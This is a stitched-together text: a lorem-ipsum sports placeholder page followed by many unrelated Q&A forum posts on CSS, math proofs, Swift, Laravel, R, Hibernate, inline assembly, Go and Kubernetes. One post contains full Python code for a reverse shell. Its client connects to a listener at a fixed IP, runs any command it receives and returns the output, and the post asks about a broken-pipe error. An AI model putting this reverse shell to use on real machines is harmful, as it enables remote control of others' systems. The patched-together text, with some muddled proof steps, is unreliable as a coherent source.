Curabitur ultrices dictum eros sed dignissim. Nam blandit iaculis tincidunt. Proin semper, arcu in cursus tincidunt, orci neque congue nunc, eu sodales enim diam eu ligula. Donec condimentum consequat convallis. Sed id est nisi, eleifend gravida justo. Sed consectetur posuere magna sit amet imperdiet. Vestibulum rhoncus nisl vel sapien viverra eget feugiat magna cursus. Nullam scelerisque ultricies lacus vel sodales. Aliquam felis magna, interdum placerat viverra non, sodales eget augue. In hac habitasse platea dictumst. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Praesent nec neque quis odio hendrerit auctor nec vel erat. In ullamcorper nulla sed ipsum elementum varius. Morbi et sapien ac nisl suscipit tincidunt. Sed lacus nisl, tempus vel ultrices vel, vulputate a nunc. Suspendisse in diam vitae nulla tempor vulputate quis ac nunc.

Nam in dui eget augue malesuada adipiscing ac at massa. In sed auctor libero. Quisque egestas mollis lobortis. Vivamus lacinia metus at quam posuere condimentum. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Etiam ipsum mauris, facilisis ut pharetra ut, lacinia vitae velit. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Mauris imperdiet facilisis ligula, sed pharetra metus malesuada sed. Suspendisse tristique massa in magna posuere adipiscing. Ut semper magna facilisis justo dapibus vel auctor odio imperdiet. Donec non nulla fermentum erat condimentum ultrices et vel augue. Aenean aliquam neque ut nisi scelerisque sagittis. Phasellus quam odio, hendrerit et viverra sed, pellentesque vitae est. Praesent consequat, neque nec interdum accumsan, nibh lorem hendrerit arcu, et posuere nunc massa ac augue. Nam justo augue, consectetur sit amet tempus sit amet, faucibus ut magna. Donec semper, mi in adipiscing tincidunt, justo purus suscipit libero, dictum iaculis arcu augue a arcu.

Aliquam feugiat venenatis porttitor. Fusce feugiat, arcu tristique cursus dignissim, magna nulla facilisis tortor, sed rutrum nisl dolor a augue. Etiam a ornare libero. Fusce massa nulla, gravida nec volutpat eleifend, venenatis nec nunc. Nam pulvinar iaculis ligula a luctus. Fusce vulputate odio id purus dictum placerat. Nullam condimentum, sem ac mattis congue, mi enim interdum risus, id rhoncus velit neque et magna.

Pellentesque vestibulum rhoncus sollicitudin. Cras eget purus velit. Donec et quam elit, sed interdum diam. Fusce a dolor a elit tincidunt dictum et non orci. Integer aliquam vehicula elit at vehicula. Nam nec magna libero. Maecenas porttitor, tortor eget congue lobortis, dolor ligula cursus nulla, eget luctus sem tellus ultrices orci. Sed posuere egestas pretium. Fusce id arcu eu lectus suscipit malesuada et vel libero. Mauris nunc felis, auctor eu malesuada sed, elementum non felis. Praesent pellentesque suscipit commodo. Suspendisse commodo accumsan nisl ut consequat. Curabitur porta sapien a dolor facilisis in bibendum nibh rutrum. Nulla enim magna, dapibus sed auctor ac, pulvinar eu quam.

Related Headlines

That Guy Knocked Out the Other Guy

Your Favorite Sports Team Lost. Again.

The Yankees Buy the Entire League

Guy Says Something Stupid in the Heat of the Moment

New Record Set as Neither Team Scores

Why Haven't You Clicked One of Our Headlines Yet?

Tagged

Football

Ball

Field

Upset

Sports

Winning

Sound Bites

                    ..this much is clear to me. If I were in his
                    shoes, I would have already won 5 Super Bowls.
                    -Guy with big ego

                    You play to win the game! Or at least, not to lose too badly.
                    —Easy going coach

More in Football

kicker connects on record 13 field goals

Your favorite team loses to that team no one likes

The Scarecrows Win 42-0

Why is the nav width no longer 100% and it's color red gone and the headernow floats right beside it?

A: You are floating the elements within the nav but never clearing the floats:
add this rule to force clear the floated
 elements
nav[role="navigation"] ul:after {
    content : " ";
    display: block;
    height:0px;
    clear:both;
    float:none;
    visibility: hidden;
}

Why do you have to clear floats? Read Here

One of the more bewildering things about working with floats is how
  they can affect the element that contains them (their "parent"
  element). If this parent element contained nothing but floated
  elements, the height of it would literally collapse to nothing. This
  isn't always obvious if the parent doesn't contain any visually
  noticeable background, but it is important to be aware of.

A: nav[role="navigation"] li{
        display: inline-block;
}


text:
Q: Highlighting Syntax in mcedit for assembly I want a code to be highlighted like this
jmp label  ;comments
I want only label to be highlighted. I've tried something like this
context exclusive jmp\t \n brightmagenta
But in this case ";comments" turned brightmagenta as well which is not what I want. For the comments there is another exclusive context. I've tried also
keyword jmp\t\[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz@\] brightmagenta
But in this case jmp is brightmagenta also.
How can I implement this? I want only label to be affected by highlighting while comments are highlighted in the same manner everywhere(in the attached picture comments for jnz is brightmagenta and in the line after brown) and all the jumps are not affected by highlighting, hence I don't need to add them (and all other commands, variable, constants etc.) manually to the syntax file.

Closely related question, since every assembly programmer uses invoke macro is it possible to highlight just the function like in screenshot below? Function was written as keyword in syntax file however I don't want all the functions to the syntax file

A: I am by no means an expert but played around a little and I found a working solution that sets the default to highlighted and turns it off for the unneeded parts as follows:
context default brightmagenta
keyword whole jmp base
context ; \n base

It does seem to do what you asked but you might have other constraints that you did not mention.

A: I think I've found the solution for jumps
#for those who use tabs
context exclusive j\[mpnzelc\]\t \n brightmagenta
keyword wholeright ;* brown
#for those who use spaces
context exclusive j\[mpnzelc\]\s \n brightmagenta
keyword wholeright ;* brown

Still struggling for invoke implementation


text:
Q: Prove that if $E_{\alpha}^+=$ {$x \in R :f_+^*(x) \gt \alpha$} ,then $m(E_{\alpha}^+)=\frac{1}{\alpha} \int_{E_{\alpha}^+} \vert f(y) \vert \, dy$
We define the "one-side" maximal function $$f_+^*(x)=\sup_{0 \lt
 h}\frac{1}{h} \int_x^{x+h} \vert f(y) \vert \, dy$$ Prove that if $f$
   is integrable and $E_{\alpha}^+=$ {$x \in R :f_+^*(x) \gt \alpha$}
   ,then $$m(E_{\alpha}^+)=\frac{1}{\alpha} \int_{E_{\alpha}^+} \vert
 f(y) \vert \, dy \,\,\,\,\,\,\,\,\, \,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,\,(1)$$ [Hint: Apply Rising Sun lemma to $F(x)= \int_0^x
 \vert f(y) \vert \,dy
 -\alpha x$].

If $x \in E_\alpha^+$, it implies that for each x there is $\, h_x$, so that $F(x+h_x) \gt F(x)\,$  and By the Rising Sun lemma,$$E_\alpha^+ =\cup_{j=1}^\infty (a_j,b_j)$$   And we have $\int_{a_j}^{b_j}
 \vert f(y) \vert \,dy = \alpha(a_j-b_j)\,$ if $\,(a_j,b_j)$ is a finite interval.If both  intervals are finite interval,sum these equation we can get the desired conclusion.
However, if $a_j=-\infty$ or $b_j=\infty$,we can not get $\int_{a_j}^{b_j}
 \vert f(y) \vert \,dy = \alpha(a_j-b_j)\,$ , How to deal with this condition?Another question,can the equation (1) hold when we do not assume $f$ is integrable?

A: That is why you need the condition $f$ is integrable. If $f$ is integrable, you can deduce that $a_j$ is not infity. Call your $f^*$ as $M_Rf$.
For any $x\in (a_i,b_i)$, define
$$
N_x=\{s\in (x, b_i]: \int_{x}^s |f(y)|dy > \alpha (s- x)\}.
$$
Claim: $N_x$ is nonempty and $\sup_s N_x=b_i$ for any $x\in (a_i,b_i)$.
For any $x\in (a_i,b_i)$,
$$
M_Rf(x)=\sup_{r}\cfrac{1}{r}\int_x^{x+r}|f(y)|dy>\alpha,
$$
Thus there exist $r_0>0$ such that $\frac{1}{r_0}\int_x^{x+r_0}|f|dy>\alpha$, set $\alpha=r_0$. Hence $N_x$ is nonempty. Since $s\le b_i$, $s_0=\sup_s N_x$ exists. We now assume that $s_0<b_i$. Then for any $t\in (s_0,b_i]$, we have
$$
\int_{s_0}^t|f(y)|dy\le \alpha(t-s_0).
$$
Otherwise $\int_x^t |f(y)|dy> \alpha(s_0-x)+\alpha(t-s_0)=\alpha(t-x)$. But we know that
$M_R(s_0)>\alpha$. Thus there exists $r_{s_0}>b_i$ such that
$$
\int_{s_0}^{r_{s_0}}|f(y)|dy > \alpha(r_{s_0}-s_0).
$$
Thus $\int_{b_i}^{r_{s_0}}|f(y)|dy>\alpha(r_{s_0}-b_i)$, which implies that $M_R(x)>\alpha$ when $x\in [b_i,r_{s_0})$. This disagrees the definition of $b_i$.
The claim is completed and then we know
$$
\int_{a_i}^{b_i}|f(y)|dy \ge \alpha(b_i-a_i).
$$
This also tells us that $a_j\not = -\infty$ since $f$ is integrable.


text:
Q: UML de Clases para representar colección que contiene otras dos clases Estoy realizando un diagrama UML de clases y quiero plasmas en este una relación de la clase A con las clases B y C ambas representadas por la misma variable "ambas" en A.

Diagrama de ejemplo con PlantUML
Se puede considerar como que en la clase A quiero almacenar en la variable de instancia ambas variables que pueden ser instancias de B y/o C (como si fuera true y false pero estas son objetos de clases diferentes)

A: No he podido confirmar que sea para todos los casos que se tenga una colección de ese tipo.
Analizando mas el problema al tener dicha colección uno va a esperar que los objetos de ambas clases (B y C) respondan a los mismos mensajes (protocolo). Por ello estas clases pueden extender de otra clase o implementar una interfaz (D) para que la clase A tenga una colección de esa clase o interfaz (D).
Ej.:
La clase A tiene una colección (ambas) de D.
Las clases B y C extiende a D y respetan su protocolo.

Diagrama de ejemplo
Espero que ayude a alquilen con la misma inquietud.


text:
Q: Passing values to the class associated with a uiview and having draw recognize the values instead of the default class values See if I can explain this...

*

*Have a ViewController that has outlets defined for the two UIViews to show the graphs.

*The UIViews have classes attached to them via the "Custom Class" Class property of Identity inspector.

*Each class has an override for "draw" to draw the graph, which on start-up it does.

*Some of the values for the items to be drawn (rectangles) use class variables defined as var with a default value

*In the controller, I set the variables to new values, but when the draw method gets invoked (via outletName.setNeedsDisplay() in the controller), it uses the default values that the class has.

Question. How does one pass new values into the UIView subclass of the UIView so that draw doesn't render the same thing every time? What "simple" thing am I missing?
Other notes

*

*let currentContext = UIGraphicsGetCurrentContext() is fine first
time, nil subsequent times

*I set the tag value in the view controller and changed it in the draw
method and the control had the new value

*print statements in the draw method all print to the console every
time

Thanks
Maybe a picture helps? "5" is always used
ViewController.swift
...@IBOutlet var graphView: UIView!  // linked to GraphController.swift in Identity Inspector
...var graphController = GraphController() // UIView
...buttonClick
......graphContoller.xCoord = 20
......graphController.yCoord = 20
......graphView.setNeedsDisplay()

GraphController.swift
...var xCoord: Int = 5
...var yCoord: Int = 5
...override func draw(_ rect: CGRect) {
......let rect = CGRect(x: xCoord, y: yCoord, width: 10, height: 10)  <- simplified for example

A: It looks to me like your var graphController is an object that you create that has nothing to do with your view hierarchy. It exists in the abstract, and is never displayed to the screen.
If graphView is an outlet linked to an instance of your GraphController class that is defined in IB then you should be setting properties on graphView, and should get rid of var graphController entirely.
EDIT:
To collect the info from comments into the answer:
You are confused as to how custom view classes work. You don't have "a class associated with a UIView." You create a custom subclass of UIView. Your custom subclass IS a UIView, but it has extra code and/or properties that you add.
You don't set up a view and a controller object that manages that view. (The view controller is the controller object for all of the views that it manages.) You create an instance of your custom view. (For complex objects like table views it might make sense to create a controller object (UITableViewController) that works in tandem with your view object, but that's unusual and you shouldn't do that unless you have a clear understanding of what you are doing and why.)
Here's the steps to create a custom subclass of UIView:
1) Create a new file for the custom class, e.g. MyView.swift:
class MyView: UIView {
  //Your custom properties and and methods go here.
}

2) In your storyboard, drag a new generic UIView object onto the form. Select the identity inspector and change the class of the view to your custom subclass (MyView, in my example). This tells IB (Interface Builder) "When you create a view here, create my custom subclass instead of a generic view." Note that since you defined your custom subclass in step 1, IB should offer to auto-complete the class name for you.
This is like dragging a car object onto the screen, then selecting the car object and switching it's type from "car" to "Prius". A Prius is a car, but it's a specific kind of car with some attributes that other cars don't have.
3) Control-drag from your new custom view (a MyView object in this example) into your view controller's source file and create an outlet. Since you changed the type of the view in step 2, Xcode will set up the outlet using your custom type. Since it's the correct type you can read/write the properties or call the methods on your outlet and the compiler will let you.


text:
Q: Use of open interval in proof of Squeeze Rule for continuous functions I have a question with regards to the use of an open interval in the following theorem:

Theorem:
Let $f, g, h$ be defined on an open interval $I$ and let $a \in I$. If

*

*$g(x) \le f(x) \le h(x)$ for $x \in I$,

*$g(a) = f(a) = h(a)$

*$g, h$ are continuous at $a$
... then $f$ is also continuous at $a$.
Proof:

*

*We want to show that for each sequence $(x_n)$ in the domain of $f$ such that $x_n \rightarrow a$, we have $f(x_n) \rightarrow f(a)$.

*Since $x_n \rightarrow a$ and $I$ is an open interval, there is an integer $N$ such that $x_n \in I$, for $n > N$.
Hence by condition 1., $g(x_n) \le f(x_n) \le h(x_n)$ for $n > N$.

...
[ Rest of the proof omitted. ]

I understand the rest of the proof, which is basically an application of the Squeeze Theorem of convergent sequences.

*

*I was wondering why we use an open interval $I$?

*Also, I understand that we pick a sequence $(x_n)$ from the domain of $f$ which tends to $a$. To use this sequence, we also need to make sure the sequence is included in $I$. In the proof they say:

*

*Since $x_n \rightarrow a$ and $I$ is an open interval, there is an integer $N$ such that $x_n \in I$, for $n > N$.

I get that we show eventually $(x_n)$ will be in $I$, but how is this justified by $I$ being an open interval?

*

*Lastly, can we always make sure to find a sequence $(x_n)$ in the domain of $f$ which has limit $a$ and fits into an open interval?

A: The theorem works because $g \le f \le h$ is true for all points in some neighborhood of $a$ (a set of points that includes everything close to $a$ for some level of closeness). On the real line, any neighborhood of a point contains on open interval around that point. Thus the theorem works because $g \le f \le h$ on some open interval containing $a$.
This is not true for closed intervals containing $a$, since then $a$ could be an end point of the interval, and we are not guaranteed that $g\le f\le h$ on the other side. For example $$g(x) = 0\\h(x) = |x|\\f(x) = \begin{cases}1& x< 0\\0 & x \ge 0\end{cases}$$
$g \le f \le h$ on the closed interval $[0,1]$ and $g(0) = f(0) = h(0)$, but $g$ and $h$ are continuous at $0$ while $f$ is not.
That said, if the domain of $f$ lies entirely on one side of $a$, Then it is sufficient that the interval (which must contain $a$) be half-open, or even closed provided it isn't $[a,a]$ for the result to follow. This is because continuity is defined in terms of the domain.


text:
Q: python 3 reverse shell broken pipe linux I have an issue regarding a python reverse shell I made.
I always get Error 32: broken pipe every time I test it on some other computer on my subnet.
Server-side code:
import socket
SERVER_HOST = ""
SERVER_PORT = 9998
# send 1024 (1kb) a time (as buffer size)
BUFFER_SIZE = 1024
# create a socket object
s = socket.socket()

# bind the socket to all IP addresses of this host
s.bind((SERVER_HOST, SERVER_PORT))
s.listen(5)
print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")
while True:
    # get the command from prompt
    command = input("Enter the command you wanna execute:")
    # send the command to the client
    client_socket.send(command.encode())
    if command.lower() == "exit":
        # if the command is exit, just break out of the loop
        break
    # retrieve command results
    results = client_socket.recv(BUFFER_SIZE).decode()
    # print them
    print(results)
# close connection to the client
client_socket.close()
# close server connection
s.close()

And this is the Client-side code
import socket
import subprocess
import sys,errno

host = "10.0.0.152"
port = 9998
BUFFER_SIZE = 1024
s = socket.socket()
# connect to the server
s.connect((host, port))
s = socket.socket()
# connect to the server
s.connect((host, port))
while True:
    # receive the command from the server
    command = s.recv(BUFFER_SIZE).decode()
    if command.lower() == "exit":
        # if the command is exit, just break out of the loop
        break
    # execute the command and retrieve the results
    output = subprocess.getoutput(command)
    # send the results back to the server
    s.send(output.encode())
# close client connection
s.close

I do not think it is a syntax error because it works on my computer if I launch server and client.


text:
Q: Integrate :- $\int dx/(\sin(x) + a\sec(x))^2$ Please help me in evaluating this integral
$$
\int \frac{1}{(\sin(x) + a \sec(x))^2}\,dx
$$
I tried by converting $\sec(x)$ to $\cos(x)$ and by solving it became more complicated so guys please guide me further.

A: Hint:
$$\dfrac1{(\sin x+a\sec x)^2}=\dfrac1{2(\sin x\cos x+a)^2}+\dfrac{\cos2x}{2(\sin x\cos x+a)^2}$$
The second part is elementary.
$$\dfrac1{(\sin x\cos x+a)^2}=\dfrac{\sec^2x(1+\tan^2x)}{(\tan x+a\tan^2x+a)^2}$$
Choose $\tan x=u$


text:
Q: Laravel Not Broadcasting to Socket.IO Client I have created a laravel event:
<?php

namespace App\Events;

use Illuminate\Broadcasting\Channel;
use Illuminate\Broadcasting\InteractsWithSockets;
use Illuminate\Broadcasting\PresenceChannel;
use Illuminate\Broadcasting\PrivateChannel;
use Illuminate\Contracts\Broadcasting\ShouldBroadcastNow;
use Illuminate\Foundation\Events\Dispatchable;
use Illuminate\Queue\SerializesModels;

class AssetsInfo implements ShouldBroadcastNow
{
    use Dispatchable, InteractsWithSockets, SerializesModels;

    public $actionId;
    public $actionData;

    public function __construct($actionId, $actionData)
    {
        $this->actionId = $actionId;
        $this->actionData = $actionData;
    }

    public function broadcastOn()
    {
        return new Channel('sahmshenas-channel');
    }

    public function broadcastWith()
    {
        return [
            'actionId' => $this->actionId,
            'actionData' => $this->actionData,

        ];
    }
}

Then, I created the socket server like this:
'use strict';
var app = require('express')();
var server = require('http').Server(app);
var io = require('socket.io')(server, {
    cors: {
        origin: "http://localhost:8000",
        methods: ["GET", "POST"],
        credentials: true
    }
});
require('dotenv').config();

var redisPort = process.env.REDIS_PORT;
var redisHost = process.env.REDIS_HOST;
var ioRedis = require('ioredis');
var redis = new ioRedis(redisPort, redisHost);
redis.subscribe('sahmshenas-channel');
redis.on('message', function (channel, message) {
    message  = JSON.parse(message);
    console.log('Notification Recieved: ' + message);
    io.emit(channel + ':' + message.event, message.data);
});

var broadcastPort = process.env.BROADCAST_PORT;
server.listen(broadcastPort, function () {
    console.log('Socket server is running.');
});

Here is the route which is inside Auth Middleware:
Route::get('/', [PageController::class, 'dashboard'])->name('dashboard');

Here is the controller for this route:
class PageController extends Controller
{

    public function dashboard()
    {
        $actionId = 'score_update';
        $actionData = array('team1_score' => 46);
        event(new AssetsInfo($actionId, $actionData));
        return view('pages/dashboard', [
        ]);
    }

The dashboard view:

Team A Score

And finally, the ENV configuration:
APP_NAME=Laravel
APP_ENV=local
APP_KEY=***
APP_DEBUG=true
APP_URL=http://localhost

LOG_CHANNEL=stack

DB_CONNECTION=mysql
DB_HOST=localhost
DB_PORT=3306
DB_DATABASE=panel
DB_USERNAME=root
DB_PASSWORD=

DB_CONNECTION_SECOND=mysql2
DB_HOST_SECOND=localhost
DB_PORT_SECOND=3306
DB_DATABASE_SECOND=assets_daily_info
DB_USERNAME_SECOND=root
DB_PASSWORD_SECOND=

PUBLISHER_URL=http://localhost
BROADCAST_PORT=2371

BROADCAST_DRIVER=log
CACHE_DRIVER=file
QUEUE_CONNECTION=sync
SESSION_DRIVER=file
SESSION_LIFETIME=120

REDIS_HOST=localhost
REDIS_PASSWORD=null
REDIS_PORT=6379

Socket successfully connects to node server, But nothing happens and no data returns to it.

It just creates the initial connections, and then nothing happens. No data returns to the client.
I double-checked the socket.io version both on the server and the client. They are the same. 3.0.3.
I checked everything, including channel, event, and Redis.
But I couldn't find the answer to this problem.
What's the issue?


text:
Q: Calculating the area of census tracts from multipolygons in R I am trying to calculate the area of each census tract in the United States. I used tidycensus to extract a multipolygon for each census tract with its coordinates.
library(tidycensus)
library(purrr)

census_api_key("KEY")

us <- unique(fips_codes$state)[1:51]
geometry <- map_df(us, function(x) {
  get_acs(geography = "tract", variables = "B19013_001", geometry = TRUE,
          state = x)
})

None of the methods I have been able to find for calculating the area of a multipolygon work with lists, which is the format tidycensus stores the coordinates in. Is there another format that would be easier to use? Is there some way of calculating the area using coordinates in this format?
I have tried gArea() from the rgeos package, area() from the raster package, st_area() from the sf package, and polyarea() from the geometry package.

A: Calculating area of a multipolygon using sf::st_area() is working fine for me. Here's an example of downloading data from tidycensus and calculating the area of all census tracts in Vermont.
library(tidycensus)
library(sf)
library(dplyr)

vt_tracts <- get_acs(
  geography = "tract",
  variables = "B19013_001",
  geometry = TRUE,
  state = "VT"
)

vt_tracts %>%
  mutate(area = st_area(.))
#> Simple feature collection with 184 features and 6 fields
#> geometry type:  POLYGON
#> dimension:      XY
#> bbox:           xmin: -73.43774 ymin: 42.72685 xmax: -71.46455 ymax: 45.01666
#> CRS:            4269
#> First 10 features:
#>          GEOID                                       NAME   variable estimate
#> 1  50001960100 Census Tract 9601, Addison County, Vermont B19013_001    78750
#> 2  50001960200 Census Tract 9602, Addison County, Vermont B19013_001    74958
#> 3  50001960300 Census Tract 9603, Addison County, Vermont B19013_001    59464
#> 4  50001960400 Census Tract 9604, Addison County, Vermont B19013_001    78672
#> 5  50001960500 Census Tract 9605, Addison County, Vermont B19013_001    56066
#> 6  50001960600 Census Tract 9606, Addison County, Vermont B19013_001    58343
#> 7  50001960700 Census Tract 9607, Addison County, Vermont B19013_001    53910
#> 8  50001960800 Census Tract 9608, Addison County, Vermont B19013_001    66713
#> 9  50001960900 Census Tract 9609, Addison County, Vermont B19013_001    65515
#> 10 50001961000 Census Tract 9610, Addison County, Vermont B19013_001    62763
#>      moe                       geometry            area
#> 1   8764 POLYGON ((-73.1968 44.26663... 212702063 [m^2]
#> 2   8731 POLYGON ((-73.39963 44.1553... 158329687 [m^2]
#> 3  10068 POLYGON ((-73.27275 44.1768...   6614856 [m^2]
#> 4   4139 POLYGON ((-73.43774 44.0450... 359804506 [m^2]
#> 5  10897 POLYGON ((-73.1495 44.17669... 109378523 [m^2]
#> 6   3601 POLYGON ((-73.06466 44.0408... 530756434 [m^2]
#> 7   7404 POLYGON ((-73.16763 44.0289...  70741373 [m^2]
#> 8  10440 POLYGON ((-73.19061 44.0189...  30961721 [m^2]
#> 9   4949 POLYGON ((-73.41258 43.9827... 478027734 [m^2]
#> 10  7192 POLYGON ((-73.18767 43.8964... 134156214 [m^2]

Although to answer your more narrow question about finding the area of US Census tracts, you could use the tigris pacakge (which is what tidycensus uses under the hood to pull geometry), which in addition to the geometry, returns the land area (ALAND) and water area (AWATER) of each tract (or any other geography requested) directly from the Census files.
tigris::tracts(state = "VT", class = "sf")

#> Simple feature collection with 184 features and 12 fields
#> geometry type:  MULTIPOLYGON
#> dimension:      XY
#> bbox:           xmin: -73.4379 ymin: 42.72693 xmax: -71.46505 ymax: 45.01666
#> CRS:            4269
#> First 10 features:
#>    STATEFP COUNTYFP TRACTCE       GEOID NAME          NAMELSAD MTFCC FUNCSTAT
#> 1       50      007  000600 50007000600    6    Census Tract 6 G5020        S
#> 2       50      007  000800 50007000800    8    Census Tract 8 G5020        S
#> 3       50      007  000900 50007000900    9    Census Tract 9 G5020        S
#> 4       50      007  001100 50007001100   11   Census Tract 11 G5020        S
#> 5       50      001  960400 50001960400 9604 Census Tract 9604 G5020        S
#> 6       50      001  960900 50001960900 9609 Census Tract 9609 G5020        S
#> 7       50      001  960500 50001960500 9605 Census Tract 9605 G5020        S
#> 8       50      001  961000 50001961000 9610 Census Tract 9610 G5020        S
#> 9       50      001  960600 50001960600 9606 Census Tract 9606 G5020        S
#> 10      50      001  960300 50001960300 9603 Census Tract 9603 G5020        S
#>        ALAND   AWATER    INTPTLAT     INTPTLON                       geometry
#> 1    2240206   147061 +44.4833940 -073.1936217 MULTIPOLYGON (((-73.20609 4...
#> 2    1349586        0 +44.4609464 -073.2086195 MULTIPOLYGON (((-73.21524 4...
#> 3     602429        0 +44.4714041 -073.2088310 MULTIPOLYGON (((-73.21393 4...
#> 4    1736310        0 +44.4509355 -073.2197727 MULTIPOLYGON (((-73.23253 4...
#> 5  321773486 38567561 +44.0870615 -073.2671642 MULTIPOLYGON (((-73.43771 4...
#> 6  456817599 21511403 +43.9055842 -073.2904483 MULTIPOLYGON (((-73.41251 4...
#> 7  107525416  1714148 +44.0978095 -073.0485314 MULTIPOLYGON (((-73.1487 44...
#> 8  128778705  5371192 +43.9008582 -073.1035817 MULTIPOLYGON (((-73.18875 4...
#> 9  528821667  1880822 +43.9987500 -072.9398701 MULTIPOLYGON (((-73.06466 4...
#> 10   6413118   203405 +44.1632873 -073.2485362 MULTIPOLYGON (((-73.27275 4...


text:
Q: Hibernate:how to make entity class with all database fields automatically I am working on a project with MySQL,Hibernate,Java,GWT
I am making an entity class where i am making each and every field as per the fields in mysql
like there is a table UserInfo with fields ,id,name,password,and many other fields in MySQL
now when i am making an entity class in java/hibernate
I have to create each field i.e id,name,password and others with my hand
I was just wondering if there's a way with which my entity class automatically detects all fields which are in my Database table and make all the fields in java itself and link them with the database fields.
thanks

A: hibernate has a property called "hibernate.hbm2ddl.auto".

hibernate.hbm2ddl.auto
Automatically validates or exports schema DDL
  to the database when the SessionFactory is created. With create-drop,
  the database schema will be dropped when the SessionFactory is closed
  explicitly.
e.g. validate | update | create | create-drop

you can set the proper value when you start creating your sessionfactory. then you will see the tables were created in your datastore, of course, the table creation was based on your entity classes.
if you want to generate java classes (entities) from your database table. you may want to check hibernate reverse engineering out:
http://docs.jboss.org/tools/3.3.0.M5/en/hibernatetools/html/reverseengineering.html

A: Try Hibernate Tools.


text:
Q: Extended Inline Assembly in C++: Is it necessary to preserve volatile registers? I am analyzing the following snippet of extended inline assembly code that returns the sum of two numbers given as parameters into a function.
int addAB(int a, int b){
    int result;

    __asm__(
        "movl %%ebx, %%eax;"
        "addl %%ecx, %%eax;":
        "=a" (result) :
        "b" (b), "c" (a) :
        "cc"
    );

    return result;
}

From my understanding, since EBX is a callee-saved register, it's value means it needs to be preserved across calls (is it necessary to do a push-pop here)? Furthermore, the CC clobber is specified which means that the condition codes are changed, but it seems that condition codes are almost always changed (from adding registers together to comparing registers)--when aren't condition codes potentially changed? If they are almost always potentially changed, would it just be a safe idea to put the "cc" clobber option for every clobber?

A: There is really just one rule to know:

If you modify any(*) register, you must tell the compiler about it, either by declaring that register as an output operand, or by listing it as a clobber.

That's all.  It doesn't matter whether the register is "volatile" (aka caller-saved) or not.  And if you do inform the compiler appropriately, then you do not need to save and restore the register yourself, so no push/pop in your inline asm.  The compiler will take care of it for you if needed.  (Indeed, on x86-64, you must not push anything to the stack with inline asm, because of the red zone.)
(*) "Any" means "any register that compiled code might use"; in particular, all general-purpose integer, floating point, and vector registers.  It does not apply to system or control registers that the compiler would not otherwise touch, nor to the x86 segment registers for the same reason.  If you modify any of these, you're responsible for the consequences, and making sure the compiled code will still work correctly in the new state.  (For example, leaving the direction flag DF set will typically cause compiled code to fail, as it expects it to always be clear.)
Your code doesn't actually modify ebx.  It's true that the compiler will have to modify ebx to load your argument b there, but the compiler is well aware that ebx is non-volatile and so it will take care of saving and restoring it.  (Indeed, by the time your asm gets control, it would be too late to save it anyway.) The only register your code does modify is eax, and that's declared as an output operand, so you're good.  If you did modify ebx, you would need to list it as a "+b" input-output operand (since you need it as an input) or as a clobber (if it wasn't already an input) - but the same would be true if you modified the callee-saved ecx.
Note that if this function inlines into a larger function, the compiler might already want to save/restore EBX for some other purpose.  Or this function might inline multiple times.  You only want to save/restore a register once per function, not once per asm statement that might be in a loop, so leaving it to the compiler is a good and sensible design.
As for the "cc" clobber, my opinion is that it is good practice to list it whenever your code modifies the flags register, as your add instruction does.  However, on x86, since so many instructions modify the flags, and so many programmers forget to list it as a clobber, the compiler assumes that every inline asm clobbers the flags.  So, technically, you can safely omit the clobber.  However, this may develop bad habits, since on other architectures the clobber is not assumed and must be specified if applicable.  See What happens in the assembly output when we add "cc" to clobber list.


text:
Q: Splitting a string on a list of strings in Go Is it possible to split not just on one string but also a slice of strings? I.e.
strings.Split("Dogs and Cats are Great", "and"))

But instead of using one string, a slice of strings as so:
strings.Split("Dogs and Cats are Great", []string{"and", "are"}))

A: You can use a regular expression: http://play.golang.org/p/vCRCv4rt7s
re := regexp.MustCompile(`and|are`)
fmt.Printf("%q\n", re.Split("Dogs and Cats are Great", -1))


text:
Q: A problem occurred evaluating project ':app'. > Could not get unknown property 'compile' for configuration container of type org.gradle.api **since i upgraded gradle, when i try to open my react-native project i got this error in android studio **

A problem occurred evaluating project ':app'.
> Could not get unknown property 'compile' for configuration container of type org.gradle.api.internal.artifacts.configurations.DefaultConfigurationContainer.

i am on mac
 buildToolsVersion = "29.0.3"
        minSdkVersion = 21
        compileSdkVersion = 29
        targetSdkVersion = 29
        ndkVersion = "20.1.5948944"
classpath('com.android.tools.build:gradle:7.2.1')

how can i resolve this problem and use android simulator?
thank you for your help :)
i tried to remplace compile(depreciated) by implementation but i got another problem
*Resolving dependency configuration 'implementation' is not allowed as it is defined as 'canBeResolved=false'.
Instead, a resolvable ('canBeResolved=true') dependency configuration that extends 'implementation' should be resolved.
*


text:
Q: When is the Stieltjes integral of a process is adapted, i.e. $\omega \mapsto \int_0^t m(s,\cdot) dA_s$ is $\mathscr{F}_t$-measurable Let $\mu_T(\omega,ds)=dA_s(\omega)$ be a Lebesgue- Stieljtes measure on $[0,T]$ induced by the increasing, right-continuous adapted process $s \mapsto A_s(\omega)$, i.e. $\mu_T(\omega, [s,t)) = A_t(\omega)- A_s(\omega)$ for all $s \le t \le T$. Let $m(s,\omega)$ be a $\lambda_T \otimes P$ integrable process.
In this case, is the process $(t,\omega) \mapsto \int_0^t m(s,\cdot) dA_s$ is adapted, i.e. $\mathscr{F}_t$- measurable even when $m$ is not progressively measurable?
For the case where $m$ is progressively measurable, we can use a monotone class argument.
But I cannot really think of a proof without progressively measurability. Is this statement true in general?


text:
Q: Is there a way to enable IPVS proxy-mode on GKE cluster? I want to try this new proxy mode and the various schedulers it has for some of our apps. So far I've been unable to find a way to change the default mode iptables to ipvs on GKE nodes.
Everywere says to pass --proxy-mode=ipvs to kube-proxy, but that does not make sense on "elastic/dynamic" deployments as GKE, new nodes would not take those changes.
I've also seen here: https://kubernetes.io/blog/2018/07/09/ipvs-based-in-cluster-load-balancing-deep-dive/ that "GCE scripts" (which I don't really know what those are) support setting up KUBE_PROXY_MODE=ipvs environment variable, but I cannot find a way to pass env variables to node pools at creation time via gcloud or web interface.
Any idea if this is even possible ?
(by the way I'm using version 1.11.6-gke.2)

A: There is no support for IPVS on GKE . You can create your own cluster using Google Compute Engine instances and modify every aspect of your cluster as you want. You can use Kubeadm or even refer to the Kubernetes The Hard Way repository by Kelsey Hightower.


text:
